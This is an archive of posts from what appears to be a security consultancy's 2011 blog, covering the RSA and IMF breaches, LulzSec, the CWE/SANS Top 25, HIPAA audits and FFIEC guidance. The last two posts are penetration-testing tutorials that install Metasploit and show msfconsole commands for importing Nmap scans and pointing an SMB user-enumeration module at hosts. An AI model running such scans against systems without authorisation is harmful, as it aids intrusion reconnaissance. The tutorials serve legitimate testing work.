So what’s a business associate to do? Wait for the final rule to go into effect? Wait 12 months after that? At Redspin, we’d suggest a more proactive approach. A sea change, after all, is an idiom for a broad transformation, not generally a time for a waiting game. We see a healthcare market where business associates will need to provide proof of robust, effective info-sec programs as a pre-requisite of doing business with providers. On their part, forward-thinking BA’s who invest in their IT security today, will get the jump on being able to promote IT security as a competitive differentiator in the future.

RSA: More concerned with their revenue than your security?

Posted on June 9, 2011 by John Abraham in Main | Leave a comment

The RSA Breach, their initial reaction, and their follow-up communication regarding the Lockheed Martin attack (which they are admitting is related to the initial RSA breach) makes us question their priorities.

Revenue and brand come first. Customer security is second.

Of course both of these are inter-related: you surely can’t build a robust security brand given security incidents like this and RSA’s brand is forever tarnished with this breach.

Nonetheless, in the short term RSA’s reaction to this incident clearly shows that, while the initial open letter wasn’t downright un-factual, it did (apparently) downplay the risk. This and other elements associated with this incident question their priorities. Let’s have a look at the the first RSA Open Letter #1 published after the initial breach on RSA and their follow-up RSA Open Letter #2, published after the resulting Lockheed Martin breach. Both letters are from Art Coviello, Executive Chairman of RSA.

Is RSA doing everything it can to protect customers?

RSA Open Letter #1: “We took a variety of aggressive measures against the threat to protect our business and our customers, including further hardening of our IT infrastructure.”

Really? So RSA provided a critical security component for protecting PII for millions of people as well as the protection of government and defense secrets and they weren’t doing everything they could before this incident!?!?! Profit margins for the RSA unit of EMC according to Bloomberg News and May regulatory filings apparently slipped from 67.6% to 54.1% due to costs associated with the breach. Frankly, even 50+% margins aren’t bad. Could it really be that the RSA unit was kicking out annual profits on the order of  hundreds of millions of dollars and they can’t find the budget to do “further hardening” of their IT infrastructures until after this incident? If customers really come first, I think they’d be investing some profits to do everything they can, before an incident like this.

“Advanced Persistent Threat” or oops an employee violated security best practices.

RSA Open Letter #1: “Our investigation has led us to believe that the attack is in the category of an Advanced Persistent Threat (APT).”

Downplaying their culpability sounds like marketing to me. Was the attack sophisticated? Perhaps. However, most attacks involve a chain of events. Every link in the chain must succeed for an attacker to gain access. This is why we preach that organizations take a holistic view of security and address the entire risk profile; break any link (even a minor seemingly benign non-technical vulnerability) in the chain and the data is insecure. In this case, the entire attack started when an RSA employee in a core security division violated elementary security principles (and likely RSA’s own security policy) by downloading and running an attachment. Even many average non-techy citizens would have the wherewithal to avoid this trick. Perhaps RSA should have been investing some profits into security awareness training.

Let’s downplay the impact of the incident.

RSA Open Letter #1: While at this time we are confident that the information extracted does not enable a successful direct attack on any of our RSA SecurID customers, this information could potentially be used to reduce the effectiveness of a current two-factor authentication implementation as part of a broader attack.

In the first open letter, he qualified the above bolded statement by saying the breach in their systems did not enable a direct attack. Whatever that means, I guess it does not preclude attacks in general, which is clarified in his next open letter, after the successful attack against Lockheed Martin:

RSA Open Letter #2: on Thursday, June 2, 2011, we were able to confirm that information taken from RSA in March had been used as an element of an attempted broader attack on Lockheed Martin.

If customers come first, I think a more straightforward profile of the true risk would be appropriate up front. My experience is that RSA SecurID customers had become complacent of the risk to their systems due to the breach because of what they’d been hearing from RSA. I don’t think RSA did their customers any favors by fostering this complacency with a sugar-coated view of the impact of the breach.

We’ll do everything we can for our customers. (except invest in new tokens)

RSA Open Letter #1: Our first priority is to ensure the security of our customers and their trust. We are committed to applying all necessary resources to give our SecurID customers the tools, processes and support they require to strengthen the security of their IT systems in the face of this incident.

Apparently “applying all the necessary resources” did not mean replacing the customer tokens, which would be expensive but effective. Based on that lack of resource commitment RSA seemed to have put its customer data at risk – along with state secrets and the PII of millions of individuals. Of course, as the customers’ knowledge of the risk associated with the RSA breach grew – because of the Lockheed Martin breach as opposed to RSA guidance – RSA has expanded the definition of “all necessary resources.”

RSA Open Letter #2: As a result, we are expanding our security remediation program to reinforce customers’ trust in RSA SecurID tokens and in their overall security posture. This program will continue to include the best practices we first detailed to customers in March, and will further expand two offers we feel will help assure our customers’ confidence:

  • An offer to replace SecurID tokens for customers with concentrated user bases typically focused on protecting intellectual property and corporate networks.
  • An offer to implement risk-based authentication strategies for consumer-focused customers with a large, dispersed user base, typically focused on protecting web-based financial transactions.

Lets give RSA the benefit of the doubt and presume that A) replacing the SecureID tokens will be a no cost solution for the customers and B) that implementing “risk-based authentication strategies” will not be a revenue generator. Assuming this is the case, then its the right approach, but one that should have been undertaken at the outset.

Revenue vs. Customers.

According to Art Coviello’s words “Our customers remain our first priority” however, according to RSA’s actions its not that clear cut.

 

 

Does a HIPAA Security Risk Analysis cover Certification of EHR Technology?

Posted on June 10, 2011 by mmarshall in Main | Leave a comment

To qualify for Meaningful Use an organization must use an approved EHR application.  The standards that EHR technology must meet to be approved for Meaningful Use are defined in 45 CFR 170.302.

We are often asked if our HIPAA Risk Analysis covers Certification of their EHR Technology to 45 CFR 170.302 (General certification criteria for Complete EHRs or EHR Modules).  The short answer is no.  That scope of work has already been completed.  Here is how the EHR Technology certification process works:

1. The standards that the EHR technology must meet are defined in 45 CFR 170.302.

2. The test procedures to evaluate conformance of EHR technology to the standards have been defined by NIST.

3. The EHR vendors contract with the testing organization to get tested/certified.  The testing of the application to verify that it meets the government standards must be conducted by a organization approved by ONC. Currently CCHIT and five other firms are approved to do the testing and certification of EHR technology.

What does this mean for you?  The good news is that if your organization is using an approved EHR application, the testing to approve that application for Meaningful Use has already been completed.  Your testing just needs to include your envionrment and the security of your implementation of the particular EHR technology.  Comparing your environment to the HIPAA standards is what is known as a HIPAA Risk Analysis.

International Monetary Fund Breach – mums the word from the I.M.F.

Posted on June 12, 2011 by John Abraham in Main | Leave a comment

The New York Times reported this weekend on a potentially serious breach at the International Monetary Fund (I.M.F.). The Times reports that the breach occurred perhaps several months ago, yet the fund only disclosed this to internal staff and board members on Wednesday. Other than the report from the Times, there is not a lot of available information about the incident. The I.M.F. itself has made no public statement about the breach. Surprising for an organization that is capable of a half-dozen news releases in a single day.

The Times mentions spear phishing, but this is only speculation at this point. While spear phishing might be top-of-mind considering that it was the keystone attack vector in the RSA breach, we have not yet seen any specific reports on the attack vector.

What’s astounding is the seemingly endless acceleration of the breach incidents this year. Sony (I lost count at a dozen incidents), Lockheed Martin, RSA, Citigroup, …

It will be interesting to see how this story develops.

The LuLz Boat has Sailed

Posted on June 27, 2011 by Mark Marshall in Main | Leave a comment

Over the weekend the Lulz Security guys called it quits. Their last release came on the 50th day since they started their escapades. It isn’t clear if they had intended from the start to only exist for 50 days, but after DDOS’ing cia.gov they had escalated their wanted status to critical and it was likely only a matter of time before they were going to be caught.

They leave in their wake a trail of destruction which includes some huge players such as Sony, Nintendo, PBS and others.
The business world as a whole is likely breathing a collective sigh of relief at this point and considering themselves lucky they too didn’t fall victim to Lulz shenanigans.

They Shouldn’t.

Lulz parting words on Twitter contained a call to action for AntiSec and Anon, two other notorious hacking groups who have themselves had a number of high profile hacks in the past.

Lulz demonstrated in a brutally evident way how inadequate most companies have secured their external infrastructure, and if these other groups step up and continue the path set by Lulz the compromises will keep coming.

A lot of companies have avoided embarrassing and costly hacks by what in the industry we call ‘security through obscurity’.  Lulz showed that anyone is a potential target, and your company could quite easily be next in their cross-hairs.

 

The CWE/SANS Top 25 Most Dangerous Software Errors Announced… Along With a New Set of Standards

Posted on June 28, 2011 by John Abraham in Main | Leave a comment

In a new and revised format, SANS along with MITRE has published the latest list of the highest risk software security vulnerabilities; the revision to the list is based on the CWE, CWSS and CWRAF security standards. The announcement leverages and highlights these new standards and collaboration efforts among the security community (including corporate, non-profit and government entities). As this announcement publicizes some new standards efforts that many of us will undoubtedly hear a lot about in the coming months, I thought it made sense to leverage the CWE/SANS Top 25 Most Dangerous Software Errors list to put these other standards in context.

First, let’s summarize the standards.

CVE List

Before diving into these other standards, it’s perhaps best to start with the CVE list. The Common Vulnerabilities and Exposures (CVE) List was started by the MITRE Corporation, a non-profit think tank, in 1999. The CVE List is free (http://cve.mitre.org) and publicly available and creates a standardized set of identifiers for common vulnerabilities and exposures. The List provides common identifiers so automated tools, such as vulnerability scanners and patch management systems can exchange vulnerability data using unique identifiers. You can think of the CVE List as the master set of security vulnerabilities. CVE numbers have become the interoperability standard amongst security vendors.

CWE List

Where the CWE list is a complete list of individual vulnerabilities, the Common Weakness Enumeration (CWE) provides a categorical view describing classifications of risk. The CWE List can be thought of as a taxonomy of vulnerability categories such that unique vulnerabilities in various software systems can be categorized. As such there are many more unique software vulnerabilities than categories that classify them. For example, the CVE List has almost 50,000 entries while the CWE List  has only 870.

Common Weakness Scoring System (CWSS)

The CWSS provides a consistent method by which vulnerabilities can be scored. This would potentially address, for example, (at least in theory) a big problem with automated vulnerability scanners: they tend to create reams of output without any context as to what is important in a given environment. Given that every environment is unique, its difficult for automated software processes to programmatically determine the relevance of a particular instance of a vulnerability. The CWSS would provide a repeatable approach to determine the relevance of risk as well as provide a way to quantifiably measure unaddressed vulnerabilities.

Common Weakness Risk Analysis Framework (CWRAF)

The CWRAF provides a method for organizations to customize the application of the CWSS to account for their particular business and technology environments. So as the CWSS provides a repeatable process to score vulnerabilities, the CWRAF provides a repeatable way for organizations to apply the CWSS to their own unique business environments.

So what’s all this got to do with the CWE/SANS Top 25?

Well, perhaps nothing. The list itself is a prioritized list of the top 25 security weaknesses in software as a function of prevalence, probability of exploitation, and importance. The list is a great resource for any IT or security professional that wants to focus their efforts on the most important issues. Considering that every organization has security risk (an often plenty of it) and IT resources are limited, keeping focused on the important issues is incredibly important in a structured risk management program. But what about CVE, CWE, CWSS, CWRAF….? So it’s not the CWE/SANS Top 25 list that has to do with these standards, its more that this alphabet soup of standards is how the Top 25 list was created. SANS worked with MITRE along with security experts worldwide to compile the list. While experts in the field often work with individual CVE identifiers, the TOP 25 list is based on CWE categories. The list is prioritized based on the scores that were calculated based on the CWSS. Specific industries and organizations could customize the scoring using the CWRAF.

Below is the current CWE/SANS Top 25 Most Dangerous Software Errors list. Notice how CWE categories are referenced as opposed to CVE numbers or ad hoc categories, and the CWSS score is used for prioritization.

  1. 93.8 CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
  2. 83.3 CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
  3. 79.0 CWE-120 Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
  4. 77.7 CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
  5. 76.9 CWE-306 Missing Authentication for Critical Function
  6. 76.8 CWE-862 Missing Authorization
  7. 75.0 CWE-798 Use of Hard-coded Credentials
  8. 75.0 CWE-311 Missing Encryption of Sensitive Data
  9. 74.0 CWE-434 Unrestricted Upload of File with Dangerous Type
  10. 73.8 CWE-807 Reliance on Untrusted Inputs in a Security Decision
  11. 73.1 CWE-250 Execution with Unnecessary Privileges
  12. 70.1 CWE-352 Cross-Site Request Forgery (CSRF)
  13. 69.3 CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
  14. 68.5 CWE-494 Download of Code Without Integrity Check
  15. 67.8 CWE-863 Incorrect Authorization
  16. 66.0 CWE-829 Inclusion of Functionality from Untrusted Control Sphere
  17. 65.5 CWE-732 Incorrect Permission Assignment for Critical Resource
  18. 64.6 CWE-676 Use of Potentially Dangerous Function
  19. 64.1 CWE-327 Use of a Broken or Risky Cryptographic Algorithm
  20. 62.4 CWE-131 Incorrect Calculation of Buffer Size
  21. 61.5 CWE-307 Improper Restriction of Excessive Authentication Attempts
  22. 61.1 CWE-601 URL Redirection to Untrusted Site (‘Open Redirect’)
  23. 61.0 CWE-134 Uncontrolled Format String
  24. 60.3 CWE-190 Integer Overflow or Wraparound
  25. 59.9 CWE-759 Use of a One-Way Hash without a Salt

Overall, we applaud this effort; both the list and the accompanying standards. Any effort that prioritizes risk and provides a systematic and repeatable process to do so is a big boost for enterprise security. In the short term, the value of these methodologies will surely be a function of the capabilities and dedication of those that use them (the garbage in – garbage out rule will still apply), but any methodology that adds some structure to security risk analysis is a worthy effort.

Preventing a Healthcare Data Breach Epidemic

Posted on July 1, 2011 by Dan Berger in Main | Leave a comment

Certain types of computer dysfunction are analogous to disease, at least in a descriptive sense. For example, we say that a PC can get “infected” by a computer “virus.” The recent rash of hacker attacks makes me wonder if we’re on the verge of a data breach “epidemic?”

True epidemics occur when new human cases of a certain disease substantially exceed what is expected over a period of time. Epidemic diseases need not be communicable; they occur when there are an accelerating number of exploits of similar weaknesses in the human immune system. (Note the clever use of the analogy in reverse). It’s not much of a stretch then to apply the concept of an epidemic affecting  the human body to one that cripples IT infrastructures.

Perhaps recent events even warrant the use of pandemic. There have been over 11 million personal health records compromised in major data breaches in the U.S. since September 2008. Last week, 8.6 million health records were reported at risk due to an unencrypted missing laptop in London.  Add recent hacker intrusions at Epsilon, Sony, the IMF, Citibank, Sega etc. and reported incidents are clearly accelerating at a staggering rate.

This must be disturbing news for a healthcare industry moving forward aggressively on the implementation and adoption of electronic health records. But consider this instead a call-to-action. Providers and business associates should seize this moment to take preventative measures. Hospitals and providers can leverage the mandatory security requirements of the “meaningful use” EHR incentive program to build organization-wide consensus and gain budget approval to invest now in their IT security future.

To qualify for incentive payments under meaningful use, covered entities and eligible providers must “conduct or review a security risk analysis in accordance with the requirements under 45 CFR 164.308(a)(1) and implement security updates as necessary and correct identified security deficiencies as part of its risk management process.” What an opportune time to revisit and revamp the outmoded, insufficient, neglected and/or minimal security risk programs that were likely put in place years ago.

For forward-thinking business associates, this is an opportunity too. Direct liability for ePHI data breach won’t transfer to business associates until sometime in 2012, but there’s no time like the present. In IT security, preventative action trumps reaction and damage control. Just ask Sony. And, as a “culture of security” grows among healthcare providers, business associates will find that data security becomes not only a requirement of doing business with health providers but also competitive differentiators.

So how do we all work together to prevent a data breach epidemic? In the 1995 movie “Outbreak” one proposed solution was to drop a fuel-bomb on a city where the virus had been contained.  But data breaches are rarely containable and even if they were, I doubt there would be many fuel-bombs dropped anywhere but in the computer war game Call of Duty.

Our “call of duty” to prevent data breach outbreaks or epidemics is to first understand that security is an end-to-end process. In this new environment where networks, and networks of networks, will be able to  provide an access path to the most sensitive personal information, there is no such thing as containment. To quote John Halamka, MD, MS, and CIO at Beth Israel Deaconess Medical Center) “the healthcare system is as vulnerable as its weakest link. Thus each application, workstation, network and server within the enterprise must be secured to a reasonable extent.” That is your mission.  And Redspin’s job is to help you achieve it.

Top 5 IT Security Threats in Healthcare

Posted on July 6, 2011 by Dan Berger in Main | Leave a comment

Many security vendors publish “top 10″ or “top 5″ lists of terrible things that can happen to you as a pretext for then telling you how their products or services help you avoid such a fate. It’s classic marketing – and actually an well-know debate strategy – define the problem for your prospect and then describe how you alone can solve it. While perhaps an effective marketing hook, its a bit disingenuous. A top 5 list implies a value calculation has been made – but usually, they are just statements of fact that support buying that vendors wares. From now on, think of those lists are simply features of the seller’s offering.

Now at Redspin, we’re not as pure as driven snow, but we are grounded in objectivity.  We have no products or services to sell or up-sell. We view IT security assessments as a series of true or false conditions. When we find vulnerabilities, we list them in risk-adjusted order depending on the criticality of the data or systems that may be impacted and the likelihood that such a breach may occur. Our “Top 5″ therefore is truly in context, relative to your specific environment.

Improving Authentication for Online Services

Posted on July 10, 2011 by John Abraham in Main | Leave a comment

The FFIEC (Federal Financial Institutions Examination Council), the banking interagency body that creates unified standards across the various regulatory agencies, recently issued new guidance on managing risks in user authentication for online transactions. The guidance is practical and has relevance for any industry in which sensitive transactions are conducted online. Categorically this applies to banks (of course) but also to healthcare organizations. As more and more electronic protected health information (ePHI) comes online with the rapid adoption of EMR/EHR systems, end users can expect more and more online access to their ePHI, and thus risk that someone will heist their credentials to log into their online account.

First, it’s important to understand why the FFIEC issued the new guidance. They make that very clear: current authentication strategies are not working. The FFIEC cites the loss of “hundreds of millions of dollars resulting from online account takeovers and unauthorized funds transfers” based on the government’s IC3 Annual Internet Crime Reports. With our extensive experience in the financial services industry we can vouch for the losses incurred by the industry due to online account takeovers.

The FFIEC guidance essentially breaks down to three primary recommendations or activities:

  1. Periodic risk assessments (“prior to implementing new electronic financial services, or at least every twelve months“)
  2. Layered security
  3. Customer awareness and education

In the FFIEC’s press release, (July 28, 2011), it states that regulatory examiners will be focused on this issue starting next year: “The FFIEC member agencies [FDIC, NCUA, OCC, OTS] will continue to work closely with financial institutions to promote security in electronic banking and have directed examiners to formally assess financial institutions under the enhanced expectations outlined in the supplement beginning in January 2012“. This means that banking industry players should expect to present to examiners that they’ve taken some action in this regard by the time of their 2012 regulatory examinations. While healthcare organizations are not regulated by the FFIEC member agencies, this guidance provides a practical approach to managing risk in an increasingly risky online environment.

We strongly urge any organization that requires user authentication for sensitive online transactions to evaluate the guidance - Authentication in an Internet Banking Environment - and ensure that your controls are evolving commensurate with the nature of the online transactions you provide your customers as well as evolving nature of the risk.

Furthermore, because so many banks and healthcare organizations (both providers and payers) are relying on third-party software for their online services, we recommend that you push your vendors for better controls. While some of the smaller upstarts (such as online banking service providers and new EMR vendors) are agile and aggressively pushing new controls for differentiation, some of the more established players can be slower to react to the dynamic nature of security threats. Given how difficult it can be to move to a new system there is not always much leverage for service providers to aggressively improve their offerings. Nonetheless, I urge both banks and healthcare organizations to push hard for improved controls.

Apple Releases Lion into the Wild

Posted on July 21, 2011 by Mark Marshall in Main | Leave a comment

Today Apple released OSX 10.7 Lion the latest version of their desktop and server OS. A number of new security features have been introduced with Lion which are very welcome, as well as a bunch of new usability tweaks and other generally cool things. I upgraded my i7 Macbook Pro to it a few hours ago and have a few quick observations:

  • It’s only available as a download via the App store. No going to the Apple store and picking up a DVD. Gotta download the whole 3.5 gig thing, which is going to suck for anyone on a slow connection. Apples servers were getting crushed when I downloaded it and it took a few hours instead of a few minutes on my 150mb/s FiOS connection. Should get quicker once the initial rush dies down.
  • You can only upgrade from Snow Leopard. If you’ve got anything older than that then you’re out of luck.
  • FileVault can now do full disk encryption instead of file level encryption. This is awesome. I hated having just my home directory encrypted previously with FileVault, and TimeMachine couldn’t back up your home directory while you were logged into OSX, which made backups a royal pain.
  • Safari now runs in a sandbox.  This should decrease the impact of browser exploits targeting Safari on OSX (who uses Safari tho?) because even if an exploit is successful it will be locked in the sandbox and should have a limited impact on the system and the users documents and files.
  • OSX now has Address space layout randomization (ASLR) which is a geeky way to say that hackers and exploit writers will have a harder time executing shell code after a successful exploit occurs, as important data that an attacker needs in order to execute code is stored  in unpredictable locations and moved around.
  • Fullscreen Terminal! I’m actually the most excited about this. I spend nearly all my time in Terminal and love being able to fullscreen it now. Hit Command + Option + F to enter fullscreen mode and enjoy some totally distraction free hacking and coding :D

That’s my $0.02 for the time being.

Metasploit 4.0 Highlights

Posted on July 29, 2011 by Mark Marshall in Main | Leave a comment

Earlier this week HD Moore gave a live webcast demoing the new highly anticipated Metasploit 4 release. The live demo went as smoothly as a live demo can go, and as always HD Moore is great to hear talk no matter what the topic is. This presentation was particularly excellent because he’s so passionate about the Metasploit project – which he single-handedly created nearly 10 years ago, and has since watched grow into the de-facto tool used by penetration testers and infosec warriors.

Some statistics about Metasploit over the years:

  • 2003 – Metasploit 1.0 – 11 exploits
  • 2004 – Metasploit 2.0 – 18 exploits
  • 2007 – Metasploit 3.0 – 177 exploits
  • 2011 – Metasploit 4.0 – 716 exploits

1 million unique downloads in the past 12 months
Rapid 7 sponsorship of Metasploit has doubled the line count of the codebase

HD’s excitement over new features that he and his team have been working on
for nearly a year was quite obvious, and he said that they’ve barely
slept in the last 3 months as the release date looms ever closer and
crunch time arrives.

Going through every new feature is beyond the scope of this quick blog post, so here’s the highlights as shown in the slides.

 

 

 

 

 

 

 

I’ll touch on a couple of new features and why they’re interesting. A number of new features are exclusive to Metasploit Pro, but a lot of the core stuff is available in every version of Metasploit, including the Metasploit Framework which is free and open source.

  • Optimization for large scale penetration tests. Previously Metasploit really didn’t scale beyond a thousand hosts.  Now it’s possible to load full vulnerability scans of upwards of 10,000 hosts without any issue.
  • Standardized XML API. The entire XML API is documented and will be released under an open source license.
  • Persistent agents and listeners. This is sweet. Now if you lose connection with a box you’ve compromised all isn’t lost. You can setup the payload to persistently attempt reconnects back to your listener. If the network goes down temporarily or a WiFi connection drops, all isn’t lost now. You can configure every aspect of it too, set an expiration date after which it’ll remove itself and other fun stuff.
  • Full integration with John the Ripper. Rapid7 now sponsors the JtR project, and has fully integrated it into MSF. As sad as it is, most compromises happen via a trivially guessed password on a critical box.  MSF now has many, many options for mutating wordlists as well as seeding password lists with data discovered during scanning.
  • Full remote control of MSF via a brand new RPC interface written in Ruby (msfrpc-client).
  • Support for imports from over a dozen other scanners , including Appscan, Netsparker and many more.
  • Shiny graphs and pretty pictures to look at. Don’t really care about this, but it’s great for higher level suits and execs. MSF can now spit out a pretty report with all kinds of details and graphs after the pentest is complete.

And obligatory screenshot of the brand new interface

 

 

 

 

 

 

 

Metasploit 4 looks like a great release and continues Rapid 7′s charge into the enterprise market, but without totally alienating the core users who’ve been using MSF for years.

HIPAA Audits – Paying a Little Attention Now Will Pay Big Benefits Later

Posted on August 3, 2011 by Dan Berger in Main | Leave a comment

In July, the HHS’ Office of Civil Rights (OCR) announced that they had appointed consulting firm KPMG to conduct up to 150 HIPAA audits of covered entities and business associates by the end of 2012. The implementation of the audit program fulfills a compliance enforcement mandate of the 2009 HITECH Act.

The KPMG contract enables OCR to put “feet on the street,” while retaining an oversight role in the process. Sue McAndrew, OCR’s deputy director for health information privacy, confirms that some audits could even result in OCR enforcement action. “Certainly, if we uncover in the course of the audit major violations or potential violations … we will be dealing with those … in the same manner we would through our formal enforcement process,” she said recently, according to www.healthcareinfosecurity.com

Details of the focus and scope of HIPAA audits have yet to be fully defined. However a few things are clear. Each audit will follow a “typical onsite audit process” with an in-person visit and interviews with key management personnel such as the CIO, privacy officer, legal counsel, and health information management/medical records director. Draft reports will be shared with the organization before they are completed, and management responses will be incorporated in the final audit report.

Fair enough, but further details are a little murkier.  Ms. McAndrew goes on to say that the audits will “initially offer comprehensive assessments of compliance with the HIPAA privacy and security rules rather than specific narrower issues.” For covered entities, it must be a little confusing to see the words “comprehensive assessment” juxtaposed with “rather than specific, narrower issues.”

At Redspin, we use the term “comprehensive security assessments” to mean that we include specific, narrow issues. After all, we’re guided by the HIPAA Security Rule— 84 pages long, even in its simplified version! See following link: (Administrative Simplification Regulation Text, March 2006). It’s also unclear how the OCR and KMPG will select organizations to audit. While the projected number of 150 audits in 2012 makes the likelihood of an audit visit to your organization fairly low – keep in mind, OCR has a separate initiative underway to train State Attorneys General on the HIPAA audit process as well.

We think it would be prudent for a healthcare organization to consider what it can do now, knowing there’s a possibility of a HIPAA audit sometime in the future.  An old Scouting motto comes to mind: “Be Prepared.” This is a good time for covered entities and business associates to review their HIPAA privacy and security programs and ensure that their documentation is up to date.

Most importantly, given the increased civil penalties and liabilities for PHI breach, it can now be considered a fiduciary responsibility for healthcare companies to assess whether their security programs are effectively safeguarding electronic protected health information (ePHI). Organizations participating in the EHR “meaningful use” plan already have a compelling incentive to “conduct or update a security risk analysis” but note, with or without meaningful use, this is a mandatory requirement for all covered entities and business associates, taken verbatim from the HIPAA Security Rule itself.

To help you prepare, let’s fast forward to what an actual HIPAA security audit may look like. The first thing any security auditor looks for is the policies and controls that you have in place, how they are documented, implemented, communicated, enforced, and lastly, how effective they’ve been. They’ll want to review whether or not you have identified vulnerabilities within your organization in the past and what steps you’ve taken to mitigate them.  At Redspin, we’ve worked with IT auditors for nearly a decade in our banking and financial practice. We’ve found that companies that have previously engaged independent firms like Redspin to conduct comprehensive Security Risk Assessments (rather than checkbox compliance solutions) benefit greatly when audit time rolls around.

First impressions are always important, and when an auditor sees that you’ve already conducted a Security Risk Assessment in accordance to the HIPAA Security Rule, they know their work is more than halfway-done. And so is yours. The follow-up demands on your organization’s time and resources will be much lighter and the outcome is virtually guaranteed to be more positive. You’ll be able to show well-documented policies and procedures, an objective rating of the effectiveness of your controls, the actions management has taken to address known vulnerabilities and how your security risk posture has improved over time.

When Redspin conducts a Security Risk Analysis, we make all of the information above accessible to you from our secure, web-base client portal. This further enhances your ability to navigate through large amounts of information quickly and present summary results in a compelling, graphical, easy-to-understand format. Lastly, if requested, we’ll stand side-by-side with you during an audit. Redspin security engineers are always available to you to discuss the results from your assessments. We’re also happy to discuss those findings, validations and final reports with outside auditors at no additional charge.

 

Installing Metasploit 4 in Ubuntu 11.04

Posted on August 19, 2011 by Mark Marshall in Main | 35 Comments

Install the latest version of the Metasploit 4 Framework (MSF4) on Ubuntu 11.04 Natty Narwhal using the following commands. This downloads and installs the generic Linux binary which comes bundled with all the necessary components you need for Metasploit to install and run. This should work for most users and is the easiest way to get Metasploit Framework running under Ubuntu and other Debian based Linux distros quickly.

In a Terminal type the following

 wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run

If you’re installing on a 64bit build of Ubuntu, use this instead

wget http://updates.metasploit.com/data/releases/framework-4.0.0-linux-x64-full.run

This downloads the current version of the Metasploit framework via wget.
Before you can run the installer you need to make it executable.

chmod +x framework-4.*-linux-full.run

And now execute the installer.

sudo ./framework-4.*-linux-full.run

Assuming all went well MSF 4 should now be installed. You should update it before running it.

sudo msfupdate

Now run it.

msfconsole

You should now be rewarded by one of the awesome ascii art logos and a functional Metasploit install.

If this fails for any reason you’ll want to do a manual install instead, which is a bit more complicated but if followed correctly should get you up and running. Find the official directions at Rapid7

Importing and Working with Nmap Scans in Metasploit Framework 4

Posted on September 14, 2011 by Mark Marshall in Main | Leave a comment

Importing Nmap scans directly into Metasploit is one of the best time-saving tricks you can accomplish while using the Metasploit Framework. Once the full Nmap data is happily in your PostgreSQL database and accessible to Metasploit you can do all kinds of cool things with it that will save you lots of time and frustration on a large penetration test.
For this example I’m assuming you’ve got a fully functional PostgreSQL database already configured and accessible to Metasploit. This is normally the case if you’ve performed a full install of Metasploit 4. I’ll cover the basics of setting up and connecting to a PostgreSQL database in a future post.
Run db_status to determine if your database is set up properly and accessible to Metasploit. If you see the following output you are set:

msf > db_status
[*] postgresql connected to msf_database

To start, you need Nmap output saved to a file. Do this by feeding Nmap the -oA flag when you scan which will save the results in all 3 major file formats: XML, Nmap and Grepable.
From within msfconsole import your scan data:

msf > db_import 192.168_scan.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.4.3.1'
[*] Importing host 192.168.1.1
[*] Importing host 192.168.1.2
[*] Importing host 192.168.1.3
[*] Importing host 192.168.1.4
[*] Importing host 192.168.1.7
[*] Importing host 192.168.1.9
[*] Importing host 192.168.1.10
[*] Importing host 192.168.1.13
[*] Importing host 192.168.1.15
[*] Importing host 192.168.1.16
[*] Importing host 192.168.1.22
[*] Importing host 192.168.1.100
[*] Successfully imported /home/mark/192.168_scan.xml

Once this completes successfully your Nmap data will be contained in the Postgresql database and fully accessible to Metasploit. This opens up all kinds of flexibility that will really save your bacon on large scans.
If you want to you can also perform Nmap scans directly from within the Metasploit Framework and have it automatically added to the database. To do this use the db_nmap command followed by the flags you wish to use and the hosts or subnets you want to scan. I typically like to do Nmap scanning outside of Metasploit in order to have more flexibility about the types of scans I perform and I may run many different scans and cat them together or otherwise manipulate them prior to feeding them into Metasploit. Obviously, do what makes sense for your situation.
Type ‘hosts’ to get a list of all hosts in the database. Use ‘hosts -u’ to get a list of only hosts that respond to ping and are believed to be up.

msf > hosts -u
Hosts
=====
address        mac  name             os_name  os_flavor  os_sp  purpose  info  comments
-------        ---  ----             -------  ---------  -----  -------  ----  --------
192.168.1.1                          Unknown                    device
192.168.1.10        goro.home        Unknown                    device

You can also query based on services. Execute ‘services’ with no parameters to dump all hosts and all services in the database. This isn’t particularly useful and can be quite huge depending on the scan data that you’re working with. Thankfully you can parse this further before it’s output to the console. Use the -p flag to only list specific ports you’re interested in.

msf > services -p 445 -u 
Services
========
host           port  proto  name          state  info
----           ----  -----  ----          -----  ----
192.168.1.10   445   tcp    microsoft-ds  open   Samba smbd 3.X workgroup: SKYNET
192.168.1.100  445   tcp    microsoft-ds  open
192.168.1.11   445   tcp    netbios-ssn   open
192.168.1.2    445   tcp    microsoft-ds  open
192.168.1.22   445   tcp    microsoft-ds  open
192.168.1.4    445   tcp    microsoft-ds  open   Microsoft Windows 2003 or 2008 microsoft-ds
192.168.1.6    445   tcp    netbios-ssn   open
192.168.1.9    445   tcp    microsoft-ds  open

Here i’m listing only hosts that have 445/tcp open. I’ve also added the -u flag to only show services that are open.
If you’re a narcissist, at this point you’re probably thinking “big whoop, I can do all this via a few grep strings on the Nmap output”. And you’re correct.
Now to do something useful with this.

msf > services -p 445 -R

Services
========

host           port  proto  name          state  info
----           ----  -----  ----          -----  ----
192.168.1.10   445   tcp    microsoft-ds  open   Samba smbd 3.X workgroup: SKYNET
192.168.1.100  445   tcp    microsoft-ds  open
192.168.1.11   445   tcp    netbios-ssn   open
192.168.1.2    445   tcp    microsoft-ds  open
192.168.1.22   445   tcp    microsoft-ds  open
192.168.1.4    445   tcp    microsoft-ds  open   Microsoft Windows 2003 or 2008 microsoft-ds
192.168.1.6    445   tcp    netbios-ssn   open
192.168.1.9    445   tcp    microsoft-ds  open

RHOSTS => file:/tmp/msf-db-rhosts-20110909-32464-oyzbko

Looks the same as before, but by adding the -R flag, you’ve told Metasploit to set the RHOSTS variable to the output of the database query you’ve just performed. This is reflected in the last line of output which is the filename of the hosts that you’ve selected from the database which Metasploit created and populated.
Now select an exploit to use against these hosts

msf > use auxiliary/scanner/smb/smb_enumusers
msf  auxiliary(smb_enumusers) > show options

Module options (auxiliary/scanner/smb/smb_enumusers):

   Name       Current Setting                                Required  Description
   ----       ---------------                                --------  -----------
   RHOSTS     file:/tmp/msf-db-rhosts-20110909-32464-oyzbko  yes       The target address range or CIDR identifier
   SMBDomain  WORKGROUP                                      no        The Windows domain to use for authentication
   SMBPass                                                   no        The password for the specified username
   SMBUser                                                   no        The username to authenticate as
   THREADS    1                                              yes       The number of concurrent threads

